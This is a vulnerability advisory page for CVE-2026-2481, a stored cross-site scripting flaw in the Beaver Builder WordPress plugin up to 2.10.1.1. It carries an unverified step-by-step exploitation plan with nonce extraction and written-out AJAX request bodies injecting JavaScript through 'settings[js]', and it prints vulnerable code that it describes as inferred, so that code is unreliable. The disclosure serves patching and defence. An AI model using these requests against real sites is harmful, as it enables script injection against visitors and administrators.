CVE-2026-2481

Beaver Builder Page Builder – Drag and Drop Website Builder <= 2.10.1.1 - Authenticated (Author+) Stored Cross-Site Scripting via 'settings[js]'

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.10.1.2
Patched in
1d
Time to patch

Description

The Beaver Builder Page Builder – Drag and Drop Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'settings[js]' parameter in versions up to, and including, 2.10.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.10.1.1
PublishedApril 7, 2026
Last updatedApril 8, 2026

What Changed in the Fix

Changes introduced in v2.10.1.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-2481 (Beaver Builder Stored XSS) ## 1. Vulnerability Summary The **Beaver Builder Page Builder** plugin (versions <= 2.10.1.1) contains a stored cross-site scripting (XSS) vulnerability. The vulnerability exists in the handling of the `settings[js]` parameter…

Show full research plan

Exploitation Research Plan - CVE-2026-2481 (Beaver Builder Stored XSS)

1. Vulnerability Summary

The Beaver Builder Page Builder plugin (versions <= 2.10.1.1) contains a stored cross-site scripting (XSS) vulnerability. The vulnerability exists in the handling of the settings[js] parameter when saving node or layout settings. While Beaver Builder allows administrators to add custom JavaScript to pages, it fails to verify if the user performing the save operation has the unfiltered_html capability. Consequently, an authenticated user with Author-level access (who typically lacks unfiltered_html on a standard WordPress install) can inject and save arbitrary JavaScript that executes whenever the affected page is rendered.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • AJAX Action: fl_builder_save_node_settings or fl_builder_save_layout_settings (handled by FLBuilderAjax).
  • Vulnerable Parameter: settings[js]
  • Authentication Required: Authenticated user with at least Author permissions. Authors can edit their own posts and use the Beaver Builder interface.
  • Preconditions: The Beaver Builder editor must be active for a post owned by the attacker.

3. Code Flow

  1. The attacker (Author) opens a post in the Beaver Builder editor.
  2. The editor interface sends an AJAX request to admin-ajax.php with the action fl_builder_save_node_settings.
  3. The request is routed to FLBuilderAjax::save_node_settings() in classes/class-fl-builder-ajax.php.
  4. This function retrieves the settings array from the $_POST superglobal.
  5. The settings are passed to FLBuilderModel::save_node_settings() (in classes/class-fl-builder-model.php).
  6. The plugin fails to sanitize the js key within the settings array for users lacking the unfiltered_html capability.
  7. The malicious payload is stored in the post's metadata (serialized in _fl_builder_data).
  8. When any user (including an Administrator) views the page, FLBuilder::render_nodes() is called, which eventually outputs the content of the js setting inside a <script> block on the frontend.

4. Nonce Acquisition Strategy

Beaver Builder heavily relies on nonces for its AJAX operations. The nonce is localized in the frontend editor.

  • Localization Variable: FLBuilderConfig
  • Nonce Key: nonce
  • Strategy:
    1. Create or identify a post owned by the Author.
    2. Ensure Beaver Builder is enabled for that post.
    3. Navigate to the post's frontend with the Beaver Builder editor active (usually by appending ?fl_builder to the URL).
    4. Use browser_eval to extract the nonce.
// Extraction via browser_eval
window.FLBuilderConfig?.nonce

5. Exploitation Strategy

Step 1: Authentication & Setup

  1. Authenticate as an Author user.
  2. Identify a post ID (TARGET_POST_ID) that the Author can edit.
  3. Ensure Beaver Builder is active for this post: wp beaver edit TARGET_POST_ID (or via standard UI).

Step 2: Extract Nonce and Node ID

  1. Navigate to the editor: browser_navigate(TARGET_URL + "?fl_builder").
  2. Extract the AJAX nonce: browser_eval("window.FLBuilderConfig.nonce").
  3. Extract a valid Node ID (the ID of a row or module on the page): browser_eval("window.FLBuilderConfig.nodes[Object.keys(window.FLBuilderConfig.nodes)[0]].node_id").

Step 3: Inject XSS Payload

Send the malicious AJAX request to save the settings for the identified node.

  • Tool: http_request
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
action=fl_builder_save_node_settings
&node_id=TARGET_NODE_ID
&node_type=module
&settings[js]=alert(document.domain)
&fl_builder_confirm_save=true
&nonce=EXTRACTED_NONCE

Step 4: Verification

  1. Navigate to the public view of the page (without the builder active).
  2. The script alert(document.domain) should execute.

6. Test Data Setup

  1. Attacker User: Create a user with the author role.
  2. Target Post: Create a post titled "XSS Test" assigned to the Author.
  3. Plugin Config: Ensure the "Code Settings" are enabled in Beaver Builder Advanced settings (this is the default state).
    • wp option update _fl_builder_advanced_settings '{"node_code":"1"}' --format=json

7. Expected Results

  • The AJAX response should return a JSON object indicating success (usually {"success": true}).
  • When viewing the post source, the string alert(document.domain) should be visible inside a script block generated by Beaver Builder, typically associated with the specific node.

8. Verification Steps (Post-Exploit)

Check the database to confirm the payload is stored in the _fl_builder_data meta field:

wp post meta get <TARGET_POST_ID> _fl_builder_data

Verify the output contains the injected string: s:2:"js";s:21:"alert(document.domain)";.

9. Alternative Approaches

If fl_builder_save_node_settings is not the specific vulnerable path, try fl_builder_save_layout_settings. This action saves settings for the entire layout.

Alternative Body:

action=fl_builder_save_layout_settings
&settings[js]=console.log('XSS_SUCCESS')
&nonce=EXTRACTED_NONCE

The "Layout Settings" JS is often rendered globally for the post, making it a reliable target for XSS that survives node deletions.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Beaver Builder Page Builder plugin (<= 2.10.1.1) is vulnerable to Stored Cross-Site Scripting because it fails to perform capability checks (such as 'unfiltered_html' or 'unrestricted_editing') when saving JavaScript settings for nodes or layouts. This allows authenticated users with Author-level access to inject arbitrary scripts via the 'settings[js]' parameter, which execute whenever a user views the compromised page.

Vulnerable Code

// In classes/class-fl-builder-model.php (inferred from research plan and patch logic)
// The plugin processes node settings without verifying if the user has permissions to save raw JavaScript.

$settings = $_POST['settings'];

if ( isset( $settings['js'] ) ) {
    // Vulnerable: The 'js' field is saved to post meta without checking for 'unfiltered_html' capability.
    $node_settings->js = $settings['js'];
}

// --- 

// In classes/class-fl-builder-ajax.php
// save_node_settings() and save_layout_settings() receive user input directly

public static function save_node_settings() {
    $node_id  = sanitize_text_field( $_POST['node_id'] );
    $settings = $_POST['settings']; // settings array containing 'js' key is passed to the model

    FLBuilderModel::save_node_settings( $node_id, $settings );
    // ...
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/beaver-builder-lite-version/2.10.0.6/changelog.txt /home/deploy/wp-safety.org/data/plugin-versions/beaver-builder-lite-version/2.10.1.2/changelog.txt
--- /home/deploy/wp-safety.org/data/plugin-versions/beaver-builder-lite-version/2.10.0.6/changelog.txt	2026-02-02 16:51:30.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/beaver-builder-lite-version/2.10.1.2/changelog.txt	2026-03-12 18:21:26.000000000 +0000
@@ -1,10 +1,81 @@
+<h4>2.10.1.2 - 03/12/2026</h4>
+<p><strong>Hotfix</strong></p>
+<ul>
+	<li>Security: Check if user has unrestricted_editing before allowing JS to be changed (#4882)</li>
+	<li>Fixed row link color overriding menu module link color (#4866)</li>
+	<li>Fixed template views with duplicate handles overwriting each other in the Templates tab (#4889)</li>
+	<li>Loop Module: Fixed issues with pagination on Themer layout or when using Relationship as a source (#4641)</li>
+	<li>Fixed compatibility issue with Cookiebot plugin (#4904)</li>
+	<li>Components: Fixed nested component settings showing all fields when opened from the Outline Panel (#4906)</li>
+	<li>Box Module: Fixed min-width causing child boxes to overlap in some flex row layouts (#4911)</li>
+	<li>Video module: Fixed autoplay issues when Assistant plugin is active (#4935)</li>
+</ul>

Exploit Outline

The exploit target the AJAX actions used by Beaver Builder to save layout or node configurations. 1. Authentication: The attacker authenticates as a user with Author-level permissions or higher who has permission to edit a specific post using Beaver Builder. 2. Nonce Extraction: The attacker navigates to the Beaver Builder editor interface for their post (e.g., `?fl_builder`) and extracts the `nonce` from the localized `FLBuilderConfig.nonce` JavaScript object. 3. Payload Delivery: The attacker sends a POST request to `wp-admin/admin-ajax.php` with the action `fl_builder_save_node_settings` (or `fl_builder_save_layout_settings`). 4. Parameters: The request must include the extracted `nonce`, a valid `node_id`, and a `settings` array where the `js` key contains the malicious payload (e.g., `settings[js]=alert(document.domain)`). 5. Execution: Because the plugin does not verify the `unfiltered_html` capability for this specific field, the script is saved into the post's `_fl_builder_data` metadata. The script will execute in the browser of any user (including administrators) who subsequently views the published page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.